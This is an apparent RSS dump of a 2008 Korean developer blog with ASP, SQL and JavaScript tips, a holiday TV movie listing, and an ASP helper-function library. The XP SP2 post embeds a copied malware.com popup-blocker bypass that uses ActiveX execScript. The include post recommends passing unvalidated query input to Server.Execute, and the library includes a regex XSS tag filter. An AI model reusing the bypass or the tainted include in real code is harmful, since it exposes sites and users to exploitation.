하얀늑대 http://syabang.com/blog/wolf 하얀늑대의 일상 ko Tue, 27 May 2008 10:04:18 +0900 The Simplog (http://thesimplog.com) Copyright 2008 하얀늑대 http://syabang.com/blog/wolf/rss.xml GetRows 메서드를 이용한 성능향상 http://syabang.com/blog/wolf/index.php/post/249 GetRows 메서드란 레코드셋을 하나의 배열로 변환시키는 메서드를 말한다. 즉 GetRows 메서드를 통해 우리는 레코드셋을 하나의 변수에 배열로 반환시킬 수 있다는 뜻이다. 그렇다면, 왜 우리는 이 메서드를 굳이 사용해야 하는 것일까?

게시판을 예로 들어보자. 필자가 보아온 대부분의 게시판들은 게시물 List를 생성할 때 ADO객체를 사용하여 레코드셋을 생성한 후 루프문을 통해 리스트를 생성하는 방식을 취하고 있다.

아래 샘플 코드를 보자.

<%

strTempSql = "SELECT * FROM [테이블]"

SET objRs = Server.CreateObject("ADODB.RECORDSET")

objRs.Open strTempSql, [커넥션스트링], adOpenForwardOnly, adLockReadOnly, adCmdText


If objRs.Eof Then

       Do Until objRs.EOF

              '==리스트 생성==

              objRs.MoveNext

       Loop

End If


objRs.Close : Set objRs = Nothing

%>


위 코드를 보고 무엇이 잘못되었나 하고 의아해 하는 독자들도 있을 것이다. 위 코드는 가장 대중적인 방법으로 많은 ASP책에서 예로 사용하고 있는 기법이며, 많은 개발자들이 위 형식을 취하고 있다.

그렇다면, 위 코드의 단점은 무엇일까? 바로 리스트를 생성하는 동안 레코드셋 객체를 계속 참조해야 한다는 것이다. 위와 같은 코드가 여러 곳에 배치되어 있는 페이지를 생각해 보라. 동시접속자가 많아 질수록 성능은 극도로 나빠질 것이다. 이를 해결하기 위한 방법으로 GetRows 메서드의 사용을 고려해 보아야 한다.

위 샘플코드에 GetRows 메서드를 사용해 보자.

<%

strTempSql = "SELECT * FROM [테이블]"

SET objRs = Server.CreateObject("ADODB.RECORDSET")

objRs.Open strTempSql, [커넥션스트링], adOpenForwardOnly, adLockReadOnly, adCmdText


If objRs.Eof Then

       arrRows = objRs.GetRows()

End If

'GetRows 메서드 사용 후 객체를 바로 해제시킨다.

objRs.Close : Set objRs = Nothing


'GetRows를 이용하여 배열로 반환이 되었다면 리스트를 생성한다.

If IsArray(arrRows) Then

              'Ubound를 사용하여 크기를 알아내자

              For intI = 0 To Ubound(arrRows, 2)

                     '== 리스트를 생성한다.

              Next

End If

%>


GetRows 메서드를 사용하여, 레코드셋 객체에 대한 참조를 바로 해제 시키는 것을 볼 수 있다.

GetRows 메서드를 사용하여 배열로 반환 후 배열의 특성을 사용하여 리스트를 생성함으로써, 웹 서버의 자원 낭비를 감소시키게 되었다. 이로 인해 웹사이트는 더욱 빠른 성능을 사용자에게 제공할 수 있을 것이다. 객체가 차지하는 리소스를 얼마나 빨리 반환해 주느냐에 따라 페이지의 성능은 크게 좌우된다는 것을 알 것이다.

프로그래밍을 하면서 끊임없이 고민해야 할 점은 “어떻게 하면 최소의 비용으로 최대의 성능을 낼 수 있을까?” 라는 부분이다.

 

]]> ASP 프로그래밍 GetRows Tue, 27 May 2008 10:04:18 +0900 http://syabang.com/blog/wolf/index.php/post/249 include에 변수 사용하기 http://syabang.com/blog/wolf/index.php/post/248 강좌 전 태오의 잡담>

이 강좌는 Danny(전성대) 님께서 제공하는 유용한 팁들의 퍼레이드 랍니다. ^^

참. 전성대님의 메일주소는 junsd@korea.com 이니까요.
강좌와 관련하여 추가적으로 궁금한 부분이 있거나 하시면 메일로 문의하세요 ^^

메뉴를 만들어놓고 큰 메뉴에 따라 작은 메뉴를 include 해서 사용하는게 보통입니다. 개발을 하다보면 수많은 include 작업을 하게 되지요. 해서, 이번에는 효과적인 include 에 대한 내용을 살펴보겠습니다.

보통 asp에서는

<!--#includefile=<%=변수%>-->

하게되면 인크루드 Error가 납니다.

왜냐하면, include 는 asp를 파싱하여 변수의 값으로 인크루드 하는게 아니고 그 변수명 자체를 가지고 인크루드 하기때문입니다. 그렇다면 무엇이 문제일까요? 파싱 순서에 문제가 있을까요?

그렇다면 이렇게 한번 해보지요. Request.QueryString 으로 mode 값을 받았다고 생각해 봅시다.

mode = Request.QueryString("mode")
if mode = a then
    <!--#include file="a.asp"-->
elseif mode = b then
    <!--#include file="b.asp"-->
end if

이렇게 해보았습니다. 근데 이건 정말 잘 되는군요. 하지만......  설마 진짜로, Request.QueryString 로 받은 mode 값에 따라서 if 문을 쓰실 건 아니시죠? 메뉴가 한두개도 아닐것이며, 너무 비 효율적이기 때문입니다.

그렇다면

<!--#include file="<%=mode%>.asp"-->

이런 효과를 낼수 있는 방법은 정령 없을까요?
(이렇게 하면 바로 에러난다고 말씀드렸죠? 에러구문을 써본것입니다.^^)

왜 없겠습니까? 바로!!! 이럴 때에는 다음과 같이 변수값을 받아서

dirFile = Request("mode") + ".asp"
Server.Execute(dirFile)

이렇게 하면 include 가 된답니다. ASP 3에서부터 지원되는 Execute 메서드의 도움으로 말입니다. server.execute 는 asp 언어로 include 와 비슷한 역할을 하기때문에 순차적으로 파싱이 되어 dirFile 의 값으로 된 파일을 인크루드 할수 있습니다.

많이 사용되는 구문이니 기억해

]]> ASP 프로그래밍 include Fri, 29 Feb 2008 10:27:43 +0900 http://syabang.com/blog/wolf/index.php/post/248 sql 카운터 http://syabang.com/blog/wolf/index.php/post/247 1.COUNT(*) : NULL값 포함
2.COUNT(DISTINCT expression) : NULL,중복 제거
3.COUNT(ALL expression) : NULL제거, 중복 포함
4.COUNT(expression) : 'EXPRESSION이 NULL이 아닌값들의 갯수'
 

카운트는 사물의 숫자를 세듯 하나, 둘,~~~ 이게 카운터 아닌가!
돼지 몇마리~~~,  소 몇마리~~~,   이런식으로 종류별로 카운트가 될수 있겠고

'1번'은 책이나 지식인에 따른 내용에 의하면 '0'도 아니고 '공백'도 아닌 'null'를 포함해서 카운트 한다....???

'2번'은 'null'은 포함 중복된 내용은 제거하고 카운트 한다....?

'3번' 'null'은 제거 중복된 내용은 포함해서 카운트 ...   ?

'4번' "'EXPRESSION(수식-어떤 값을 계산하는 숫자 변수 함수 호출 결과값)이 'null'아닌값들의 갯수...??

어떻게 활용할지는 아직 잘 모르겠으나 간단한 형식은  일단 아래와 같이 문제 풀이를 해보았다!

직종별 사원의 숫자를 출력

select a.job
         ,count(a.sal)
   from emp a

  group

 

]]> 컴퓨터 Tip 카운터 sql Mon, 25 Feb 2008 15:25:13 +0900 http://syabang.com/blog/wolf/index.php/post/247 브라우져 XP 서비스팩2 판별 http://syabang.com/blog/wolf/index.php/post/246 OS가 Windows SP2 일 경우 $HTTP_USER_AGENT 가 어떻게 표기되나요?
저나 주위에 SP2 쓰시는 분이 없어서 테스트를 못해보네요.. ㅡㅡ;;
그리고 자바스크립트에서 위와 같은 혹은 비슷한 기능을 하는 함수가 있다면 알려주시면 고맙겠습니다.
미리 감사드립니다..
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
 
WinXP SP2 :
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
 
============================================================================================
서비스팩2를 설치한 사용자의 경우 팝업창을 띄우면 하단에 상태표시줄이 사라지지 않아서 사이즈를 세로 20px 더 잡아줘야하는등..  뭐... 하여간 이래저래 변경사항이 많습니다.

서비스팩2를 설치하여 사용하는 사용자인가의 여부를 판별하기 위한 초간단 팁~! 같지도 않은 팁!

if(eregi("SV1",$_SERVER['HTTP_USER_AGENT'])) { $servicePack = "사용"; } else { $servicePack = "안사용"; }

재량껏 사용하기 바랍니다.
 
===============================================================================
서비스팩2를 깔고 HTTP_USER_AGENT를 보면
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

그렇지 않은 버전이면
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
이렇게 나옵니다.
 
===============================================================================
[자바스크립트에서]
isopen = window.open("pop.html");
if(isopen == false){
alert("새창띄우기 실패");
}
 
===============================================================================
<script language="javascript">
function my_resize()
{
       var g_fIsSP2 = false;
       g_fIsSP2 = (window.navigator.userAgent.indexOf("SV1") != -1);
       if (g_fIsSP2)     {    
              // XP SP2 브라우저임..
              window.resizeTo(600,522);
       }   else     {
              //XP SP2 브라우저가 아님.
              window.resizeTo(600,502);
    }
}
</script>       

<body  omLoad="my_resize();">
 
===============================================================================
XP SP2 팝업방지 기능 무시하고 팝업창 띄우기.
<HTML>
<HEAD>
<TITLE>malware.com</TITLE>
<META NAME="Author" CONTENT="malware.com">
<meta name="robots" content="noindex, nofollow">
</HEAD>
 

<body omload="setTimeout('   main()   ',1000)">
<object
 id="x"
 classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
 width="1"
 height="1"
 align="middle"
>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>
<SCRIPT>
function main()
{
 x.DOM.Script.execScript(shellscript.toString());
 x.DOM.Script.setTimeout("shellscript()");
}
</SCRIPT>
<br><br><br><br><br><br><center><img src=nocigar.gif><br><br><FONT FACE=ARIAL SIZE 12PT>NO CIGAR !</FONT></center>
</body>
</html>
 
============================================================================
요즘 sp2때문에 신경쓰이죠
저는 아직 이것땜에 신경쓸 일은 없었는데
누가 sp2설치여부를 확인할 수 있을까 물어보시길래
혹시나 ie에서 user-agent가 다를까 싶어 찾아봤더니
그냥 xp랑.. sp2가 설치된 xp랑 조금 다르네요
확인사살로 구글에서 검색해본 결과

function browserVersion(){    
tmp_MSIE = window.navigator.userAgent.indexOf("MSIE");
if(tmp_MSIE && window.navigator.userAgent.indexOf("SV1") > tmp_MSIE){  
//This browser is Internet Explorer with SP2.  
return true;
} else {
//This browser is not Internet Explorer with SP2.
return false;
}
}
var xpie_SP2 = browserVersion();

요점은...
php에서 $_SERVER['HTTP_USER_AGENT'] 값이나.. javascript에서 navigator.userAgent값을 보면
그냥 xp는 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) 이렇게 나오구요
sp2를 설치하면 Windows NT 5.1; SV1 이렇게 SV1이 추가로 나옵니다.

당연히 IE가 아니면 안나오겠죠..?
 
]]> Javascript 서비스팩 Wed, 20 Feb 2008 09:00:43 +0900 http://syabang.com/blog/wolf/index.php/post/246 설연휴 프로그램(필수입니다.) 즐거운 설연휴되세여 ^^ http://syabang.com/blog/wolf/index.php/post/245 5일
시간 방송국 영화명 출연
오후 11시 10분 MBC 캐리비안의 해적 : 망자의 함 조니 뎁, 올란도 블룸
오후 11시 15분 SBS 이장과 군수 차승원, 유해진, 변희봉

6일
오전 10시 35분 MBC 가문의 부활 신현준, 김원희, 김수미
오전 10시 35분 SBS 작업의 정석 손예진, 송일국, 노주현
오후 03시 30분 KBS1TV 거북이는 의외로 빨리 헤엄친다 우에노 쥬리, 아오이 유우
오후 07시 50분 KBS2TV 못말리는 결혼 김수미, 임채무, 유진
오후 10시 40분 EBS 페인티드 베일 나오미 왓츠, 에드워드 노튼
오후 10시 55분 SBS 배트맨 비긴즈 크리스찬 베일, 마이클 케인
오후 11시 05분 KBS2TV 동갑내기 과외하기 레슨 2 이청아, 박기웅, 이영하
밤 12시 15분 MBC 황후 화 주윤발, 공리, 주걸륜
밤 12시 25분 KBS1TV 독립영화 비만가족 외 3편 한경희, 곽병규, 엄보용
오전 01시 25분 SBS 야수와 미녀 류승범, 신민아, 김강우

7일
오전 10시 30분 SBS 복면달호 차태현, 임채무, 이소연
오후 03시 25분 MBC DOA 데본 아오키, 제이미 프레슬리
오후 03시 30분 KBS1TV 오프사이드 시마 모바락 샤히, 사예스테 이라니
오후 09시 35분 SBS 미녀는 괴로워 주진모, 김아중, 성동일
오후 10시 40분 EBS 인어공주 전도연, 박해일, 고두심
밤 12시 10분 KBS2TV 가족의 탄생 주소리, 엄태웅, 고두심
밤 12시 20분 MBC 본 아이덴티티 맷 데이먼, 프란카 포텐테
오전 01시 00분 KBS1TV 괜찮아, 울지마 무하마드 라히모프, 디아지 라흐마토프
오전 01시 05분 SBS 야연 장쯔이, 다니엘 우, 유 게

8일
오전 10시 30분 SBS 우주전쟁 톰 크루즈, 다코타 패닝, 저스틴 채트윈
오전 10시 40분 KBS2TV 괴물 송강호, 변희봉, 박해일
오후 09시 30분 SBS 해리포터와 불의 잔 다니엘 래드클리프, 루퍼트 그린트
오후 09시 30분 MBC 상사부 일체 이성재, 김성민, 박상면
오후 10시 40분 EBS 댓 씽 유 두 리브 타일러, 톰 에버릿 스콧
오후 10시 50분 KBS2TV 우아한 세계 송강호, 오달수, 박지영
밤 12시 10분 KBS1TV 디어 평양 양영희 (감독)
밤 12시 20분 SBS 미녀삼총사 맥시멈 스피드 카메론 디아즈, 드류 베리모어

9일
오후 09시 40분 SBS 마파도 2 이문식, 여운계, 김을동
오후 11시 00분 MBC 본 슈프리머시 맷 데이먼, 프란카 포텐
오후 11시 00분 EBS 도쿄타워 오다기리 죠, 키키 키린
오후 11시 35분 KBS2TV 극락도 살인사건 박해일, 박솔미, 성지루
오후 11시 45분 SBS 매트릭스3 : 레볼루션 로렌스 피시번
오전 01시 00분 MBC 마강호텔 김석훈, 김성은, 박희진
오전 01시 40분 KBS2TV 돈 텔 파파 정웅인, 유승호, 채민서

 

]]> 엽기 | 코믹 | 펌 프로그램 방송 Tue, 05 Feb 2008 11:22:00 +0900 http://syabang.com/blog/wolf/index.php/post/245 유용한 function 모음 http://syabang.com/blog/wolf/index.php/post/243 <%
'==============================================================================
'각종 함수 모음
'==============================================================================


 

'####################################################################
'DB 관련 함수
'####################################################################

Function ConnStrNateMjb()
 'ConnStrNateMjb = "provider=sqloledb;server=localhost;database=머머머;uid=**;pwd=****;"
 ConnStrNateMjb = "provider=sqloledb;server=머머머;database=머머머;uid=**;pwd=***;"
End Function

'####################################################################

 

'==============================================================
'if.... else 조건문..
'==============================================================
Function iif(condition, byval trueV, byval falseV)
 if condition then
  iif = trueV
 else
  iif = falseV
 end if
End Function

'==============================================================
'디버그용 출력
'==============================================================
Function dprintf(getString)
 response.write getString
 response.end
End Function

'==============================================================
'출력
'==============================================================
Function printf(getString)
 response.write getString
End Function

'==============================================================
'받은 문자열 인코딩(ASCII 코드)
'==============================================================
Function encodingStr(getString)
 Dim i, chrat, encode_str

 encode_str = ""

    for i = 1 to len(getString)
  chrat = mid(getString, i, 1)
        encode_str = encode_str & hex(asc(chrat))
 next

 encodingStr = encode_str
End Function

'==============================================================
'받은 문자열 디코딩(ASCII 코드)
'==============================================================
Function decodingStr(getString)
 Dim i, m, n, decode_str

 decode_str = ""

 for i = 1 to len(getString) step 2
  m = mid(getString, i, 2)
  n = "&H" & m

  if n > "&H7F" then
   m = mid(getString, i, 4)
   n = "&H" & m
   i = i + 2
  end if

  decode_str = decode_str & chr(n)
 next

 decodingStr = decode_str
End Function

'==============================================================
'alert 메시지
'==============================================================
Sub msgAlert(msg)
 Response.Write "<script language=javascript>" & vbcrlf
 Response.Write "<!--" & vbcrlf
 Response.Write "alert('" & msg & "');" & vbcrlf
 Response.Write "//-->" & vbcrlf
 Response.Write "</script>" & vbcrlf
 Response.End
End Sub

'==============================================================
'alert 메시지, 그리고 이동
'==============================================================
Sub msgRefresh(msg, page)
 Response.Write "<SCRIPT language=javascript>" & vbcrlf
 Response.Write "<!--" & vbcrlf
 Response.Write "alert('" & msg & "');" & vbcrlf
 if page = "back" then
  Response.Write "history.back();" & vbcrlf
 elseif page = "close" then
  Response.Write "self.close();" & vbcrlf
 else
  Response.Write "location.replace('" & page & "');" & vbcrlf
 end if
 Response.Write "//-->" & vbcrlf
 Response.Write "</SCRIPT>" & vbcrlf
 Response.End
End Sub

'==============================================================
'alert 메시지, 그리고 메타테그를 이용한 페이지이동
'==============================================================
Sub metaRedirect(msg, page)
 Response.Write "<script language=javascript>" & vbcrlf
 Response.Write "<!--" & vbcrlf
 if Trim(msg) <> "" then
  Response.Write "alert('" & msg & "');" & vbcrlf
 end if
 Response.Write "//-->" & vbcrlf
 Response.Write "</script>" & vbcrlf
 if page = "back" then
  Response.Write "<meta http-equiv='refresh' content='0;url=javascript:history.back();'>" & vbcrlf
 else
  Response.Write "<meta http-equiv='refresh' content='0;url=" + page + "'>" & vbcrlf
 end if
 Response.End
End Sub

'==============================================================
'현재의 윈도우창 처리, 그리고 이동
'==============================================================
Sub dynamicRefresh(closeVal, page)
 Response.Write "<SCRIPT language=javascript>" & vbcrlf
 Response.Write "<!--" & vbcrlf
 if closeVal = "yes" then
  Response.Write "self.close();" & vbcrlf
 end if
 if page = "" or page = "no" or IsNull(page) or IsEmpty(page) then
  Response.Write ""
 else
  Response.Write page & ";" & vbcrlf
 end if
 Response.Write "//-->" & vbcrlf
 Response.Write "</SCRIPT>" & vbcrlf
 Response.End
End Sub

'==============================================================
'해당 페이지로 이동
'==============================================================
Sub respon_Redirect(page)
 Response.Redirect page
 Response.End
End Sub

'==============================================================
'Replace의 확장... Null 체크
'==============================================================
Function nReplace(getStr, pattern, convertStr)
 if getStr = "" or IsNull(getStr) or IsEmpty(getStr) then
   nReplace = ""
  else
    nReplace = Trim(replace(getStr, pattern, convertStr))
  end if
End Function

'==============================================================
'파라미터를 비교해서 비어있지 않은값을 리턴
'==============================================================
Function returnExistVal(val1, val2)
 if Trim(val1) = "" and Trim(val2) = "" then
  returnExistVal = ""
 elseif Trim(val1) = "" then
  returnExistVal = val2
 elseif Trim(val2) = "" then
  returnExistVal = val1
 else
  returnExistVal = -1
 end if
End Function

'==============================================================
'Trim의 확장... Null 체크
'==============================================================
Function nTrim(getString)
    if getString = "" or IsNull(getString) or IsEmpty(getString) then
        nTrim = ""
    else
        nTrim = Trim(getString)
    end if
End Function

'==============================================================
'Int의 확장.... 숫자형이 아닐 때 한번 더 체크
'==============================================================
Function nInt(getNumber)
 Dim conNumber

 conNumber = CStr(getNumber)

 if IsNumeric(conNumber) then
  conNumber = Int(conNumber)
 elseif conNumber = "" or IsNull(conNumber) or IsEmpty(conNumber) then
  conNumber = 0
 else
  conNumber = 0
 end if

 nInt = conNumber
End Function

'==============================================================
'CInt의 확장.... 숫자형이 아닐 때 한번 더 체크
'==============================================================
Function nCInt(getNumber)
 Dim conNumber

 conNumber = CStr(getNumber)
 if IsNumeric(conNumber) then
  conNumber = CInt(conNumber)
 elseif conNumber = "" or IsNull(conNumber) or IsEmpty(conNumber) then
  conNumber = 0
 else
  conNumber = 0
 end if

 nCInt = conNumber
End Function

'==============================================================
'CLng의 확장.... 숫자형이 아닐 때 한번 더 체크
'==============================================================
Function nCLng(getNumber)
 Dim conNumber

 conNumber = CStr(getNumber)
 if IsNumeric(conNumber) then
  conNumber = CLng(conNumber)
 elseif conNumber = "" or IsNull(conNumber) or IsEmpty(conNumber) then
  conNumber = 0
 else
  conNumber = 0
 end if

 nCLng = conNumber
End Function

'==============================================================
'HTML Tag를 화면에 보여주기 위해 convert 또는 revert한다.
'==============================================================

'--------------------------------------------------------
' 정규표현식을 이용한 대치
' --------------------------------------------------------

Function eregi_replace(pattern, replace, text)
 Dim eregObj
 Set eregObj= New RegExp

 eregObj.Pattern= pattern    ' Set Pattern(패턴 설정)
 eregObj.IgnoreCase = True ' Set Case Insensitivity(대소문자 구분 여부)
 eregObj.Global = True  ' Set All Replace(전체 문서에서 검색)
 eregi_replace = eregObj.Replace(text, replace) ' Replace String
End Function

'------------------------------------------------------
' HTML 태그 제거
'------------------------------------------------------
Function delete_tag(atcText)
 atcText= eregi_replace("<html(.*|)<body([^>]*)>","",atcText)
 atcText= eregi_replace("</body(.*)</html>(.*)","",atcText)
 atcText= eregi_replace("<[/]*(div|layer|body|html|head|meta|form|input|select|textarea|font|base|br|a href|img|u|strong|EM|P|A|span|table|tbody|tr|td|b|iframe|center|COLGROUP|COL|TFOOT|OL|Li|link|MARQUEE|UL|APPLET|OBJECT|!-)[^>]*>","",atcText)
 atcText= eregi_replace("<(style|script|title|link|embed)(.*)</(style|script|title|embed)>","",atcText)
 atcText= eregi_replace("<[/]*(script|style|title|xmp|embed)>","",atcText)
 atcText= eregi_replace("([a-z0-9]*script:)","deny_$1",atcText)
 atcText= eregi_replace("<(\?|%)","&lt;$1",atcText)
 atcText= eregi_replace("(\?|%)>","$1&gt;",atcText)

 atcText= Replace(atcText, "<", "&lt;")
 atcText= Replace(atcText, ">", "&gt;")

 delete_tag = atcText
END Function


'------------------------------------------------------
'엔터키값(CHR(13)&CHR(10))을 <br> 태그로 변경
'------------------------------------------------------
Function convertChr(getString)
 Dim conStr

 conStr = getString
 if conStr = "" or IsNull(conStr) or IsEmpty(conStr) then
        conStr = ""
    else
  conStr = replace(conStr, CHR(13)&CHR(10), "<br>") '케리지 리턴 / 라인피드
  conStr = replace(conStr, CHR(13), "<br>")   '케리지 리턴
  conStr = replace(conStr, CHR(10), "<br>")   '라인피드
    end if

 convertChr = conStr
End Function

'------------------------------------------------------
'HTML Tag를 화면에 출력하도록 Convert시킨다.
'엔터값은 <br>로 변경
'------------------------------------------------------
Function convertTag(getString, conChrValue)
 Dim conStr

 conStr = getString
 if conStr = "" or IsNull(conStr) or IsEmpty(conStr) then
  conStr = ""
    else
  conStr = replace(conStr, CHR(60), "&lt;") '<
  conStr = replace(conStr, CHR(62), "&gt;") '>
  if conChrValue = "Y" then   '엔터값을 <br>로 변경
   conStr = convertChr(conStr)
  end if
 end if

 convertTag = conStr
End Function

'------------------------------------------------------
'HTML Tag가 화면에 실행되도록 Revert시킨다.
'------------------------------------------------------
Function revertTag(getString)
 Dim revStr

 revStr = getString
 if revStr = "" or IsNull(revStr) or IsEmpty(revStr) then
        revStr = ""
    else
  revStr = replace(revStr, "&lt;", CHR(60))  '<
  revStr = replace(revStr, "&gt;", CHR(62))  '>
 end if

 revertTag = revStr
End Function

'------------------------------------------------------
'HTML Tag를 화면에 출력시 <b>태그는 허용
'------------------------------------------------------
Function revertBold(getString)
 Dim revStr

 revStr = getString
 if revStr = "" or IsNull(revStr) or IsEmpty(revStr) then
  revStr = ""
 else
  revStr = replace(revStr, "&lt;b&gt;", "<b>")
  revStr = replace(revStr, "&lt;B&gt;", "<B>")
  revStr = replace(revStr, "&lt;/b&gt;", "</b>")
  revStr = replace(revStr, "&lt;B&gt;", "</B>")
 end if

 revertBold = revStr
End Function

'==============================================================
'받은 문자열에서 작은따옴표를 "''"로 convert 시킨다.
'==============================================================
Function convertSingleQ(getString)
 if getString = "" or IsNull(getString) or IsEmpty(getString) then
  convertSingleQ = ""
 else
  convertSingleQ = replace(getString , "'", "''")
 end if
End Function

'==============================================================
'입력필드에서 " 사용시 뒷부분 잘리는것 막기위해 convert 시킨다.
'==============================================================
Function convertDoubleQ(getString)
 if getString = "" or IsNull(getString) or IsEmpty(getString) then
  convertDoubleQ = ""
 else
  convertDoubleQ = replace(getString, chr(34), "&#34")
 end if
End Function

'==============================================================
'입력필드 또는 검색할때 url주소에서 ', " 를 convert 시킨다.
'==============================================================
Function convertSinDouQ(getString)
 Dim convString

 if getString = "" or IsNull(getString) or IsEmpty(getString) then
  convString = ""
 else
  convString = replace(getString, chr(34), "&#34")
  convString = replace(convString, chr(39), "&#39")
 end if

 convertSinDouQ = convString

End Function

'==============================================================
'지정된 길이 만큼 문자열 자르고 "..."으로 처리
'==============================================================
Function cutString(getString, strSize)
 if getString = "" or IsNull(getString) or IsEmpty(getString) then
  cutString = ""
 else
  if Len(Trim(getString)) <= strSize then
      cutString = getString
     else
        cutString = Left(getString, strSize) & "..."
     end if
 end if
End Function

'==============================================================
'일반 숫자로 되어 있는것을 파일크기 형태로 변환(단위:KB, MB)
'==============================================================
Function ConvertFileSize(getNumber)
 Dim conNumber

 conNumber = CStr(getNumber)
 if IsNumeric(conNumber) then
  conNumber = (int(conNumber/1024) * -1) * -1

  if int(conNumber) = int(0) then
   conNumber = 1 & "KB"
  elseif int(conNumber) => int(1000) then
   conNumber = Round(conNumber/1024, 1) & "MB"
  else
   conNumber = conNumber & "KB"
  end if
 elseif conNumber = "" or IsNull(conNumber) or IsEmpty(conNumber) then
  conNumber = ""
 else
  conNumber = ""
 end if

 ConvertFileSize = conNumber
End Function


'==============================================================
'특정문자열의 포함여부 확인
'==============================================================
Function isin(getString, element)
    if InStr(1, getString, element) > 0 then
        isin = True
    else
        isin = False
    end if
End Function

'==============================================================
'숫자를 원하는 길이로 가져오기
'==============================================================
function getNumberLen(getNumber, numLength)
 Dim numStr, i

 numStr = ""
 for i = 1 to numLength
  numStr = numStr & "0"
 next

 getNumberLen = right(numStr & getNumber, numLength)
End Function

'==============================================================
'숫자 3자리 마다 콤마 삽입
'==============================================================
Function addComma(nNumber)
 Dim strNumber, nLen, strSub
 Dim i, nFirst, nSize, strTotNumber

 strNumber = CStr(nNumber)
 nLen = Len(strNumber)

 For i = nLen To 1 Step -3
  nFirst = i - 2
  nSize = 3
  if (i - 2) < 1 then
   nFirst = 1
   nSize = i
  end if
  strSub = Mid(strNumber, nFirst, nSize)
  strTotNumber = strSub + strTotNumber
  if (nLen > 3) And (i - 2) > 1 then
   strTotNumber = "," + strTotNumber
  end if
 Next

 addComma = strTotNumber
End Function

'==============================================================
'문자열의 정확한 바이트 수를 리턴하는 함수
'==============================================================
Function stringByte(getString)
 Dim strLen, i, j, totalByte

 totalByte = 0
 j = 1
 strLen = Len(getString)

 For i=1 To strLen
  if Asc(Mid(getString, j, 1)) < 0 then
   totalByte = totalByte + 2
  else
   totalByte = totalByte + 1
  end if
  j = j + 1
 Next

 stringByte = totalByte
End Function

'==============================================================
'문자열을 제한된 바이트 수만큼 자르기
'==============================================================
Function CutstringByte(getString, limitLen)
 Dim strLen, i, j, setString, totalByte

 strLen = Len(getString)
 j = 1
 setString = ""
 totalByte = 0

 For i=1 To strLen
  if Asc(Mid(getString, j, 1)) < 0 then
   totalByte = totalByte + 2
  else
   totalByte = totalByte + 1
  end if

  if int(totalByte) <= int(limitLen) then
   setString = setString + Mid(getString, j, 1)
  else
   Exit For
  end if

  j = j + 1
 Next

 CutstringByte = setString
End Function


'==============================================================
'통화기호(FormatCurrency)의 확장형 (컴퓨터 설정에 따름＄,￦...)
'==============================================================
function nFormatCurrency(getNumber)
 Dim conNumber

 if getNumber = "" or IsNull(getNumber) or IsEmpty(getNumber) then
        conNumber = ""
    else
        conNumber = FormatCurrency(getNumber)
    end if

 nFormatCurrency = conNumber
End Function

'==============================================================
'DateTime형을 각각의 형태로 변환시킨다.
'==============================================================
'------------------------------------------------------
'DateTime 형을 YYYY.MM.DD hh:mm 형태로 출력
'------------------------------------------------------
function nFormatDateCyworld(getDate)
 Dim conDate, tempDate

 if IsDate(getDate) then
  conDate = getNumberLen(Year(getDate), 4) & "." & getNumberLen(Month(getDate), 2) & "." & getNumberLen(Day(getDate), 2) & "&nbsp;" & getNumberLen(Hour(getDate), 2) & ":" & getNumberLen(Minute(getDate), 2)
 else
  conDate = ""
 end if

 nFormatDateCyworld = conDate
End Function

'------------------------------------------------------
'DateTime 형을 YYYY.MM.DD(weekly) TIME 형태로 출력
'------------------------------------------------------
function nFormatDateAll(getDate)
 Dim conDate, tempDate

 if IsDate(getDate) then
   tempDate = CStr(getDate)
   tempDate = replace(tempDate, "-", ".")
   conDate = left(tempDate, 10) & "(" & convertWeek(getDate) & ")" & " " & mid(tempDate, 11)
 else
   conDate = ""
 end if

 nFormatDateAll = conDate
End Function

'------------------------------------------------------
'DateTime 형을 YYYY년 MM월 DD일 형태로 출력
'------------------------------------------------------
Function nFormatDateKOR(getDate)
 Dim conDate

 conDate = Year(getDate) & "년 " & Month(getDate) & "월 " & Day(getDate) & "일"
 nFormatDateKOR = conDate
End Function

'------------------------------------------------------
'DateTime 형을 YYYY(.-/)MM(.-/)DD 형태로 출력
'------------------------------------------------------
function nFormatDateForm(getDate, getForms)
 Dim conDate

 if IsDate(getDate) then
  conDate = Year(getDate) & getForms & Right("0" & CStr(Month(getDate)), 2) & getForms & Right("0" & CStr(Day(getDate)), 2)
 else
  conDate = ""
 end if

 nFormatDateForm = conDate
End Function

'------------------------------------------------------
'DateTime 형을 YYYY(.-/)MM(.-/)DD 형태로 출력
'------------------------------------------------------
function nFormatDateWeek(getDate, getForms)
 Dim conDate

 if IsDate(getDate) then
  conDate = Year(getDate) & getForms & Right("0" & CStr(Month(getDate)), 2) & getForms & Right("0" & CStr(Day(getDate)), 2) & " " & convertWeek(getDate)
 else
  conDate = ""
 end if

 nFormatDateWeek = conDate
End Function

'------------------------------------------------------
'DateTime 형을 20041225073033 (년월일시분초)형태로 출력
'------------------------------------------------------
function nFormatDateUnique(getDate)
 Dim conDate

 if IsDate(getDate) then
  conDate = getNumberLen(Year(getDate), 4) & getNumberLen(Month(getDate), 2) & getNumberLen(Day(getDate), 2) & getNumberLen(Hour(getDate), 2) & getNumberLen(Minute(getDate), 2) & getNumberLen(Second(getDate), 2)
 else
  conDate = ""
 end if

 nFormatDateUnique = conDate
End Function

'------------------------------------------------------
'DateTime 형을 20041225 형태로 출력
'------------------------------------------------------
function nFormatDatenum(getDate)
 Dim conDate

 if IsDate(getDate) then
  conDate = getNumberLen(Year(getDate), 4) & getNumberLen(Month(getDate), 2) & getNumberLen(Day(getDate), 2)
 else
  conDate = ""
 end if

 nFormatDatenum = conDate
End Function

'------------------------------------------------------
'DateTime 형을 요일형태로 출력
'------------------------------------------------------
Function convertWeek(getDate)
 dim conDate

 select case weekday(getDate,1)
  case 1
   conDate = "일요일"
  case 2
   conDate = "월요일"
  case 3
   conDate = "화요일"
  case 4
   conDate = "수요일"
  case 5
   conDate = "목요일"
  case 6
   conDate = "금요일"
  case 7
   conDate = "토요일"
 end select

 convertWeek = conDate
End Function

'------------------------------------------------------
'자정 이후 지정된 시간만큼 경과한 초 수를 반환한다.
'------------------------------------------------------
Function timeToSecond(gTime)
 Dim sDiv, convertSec

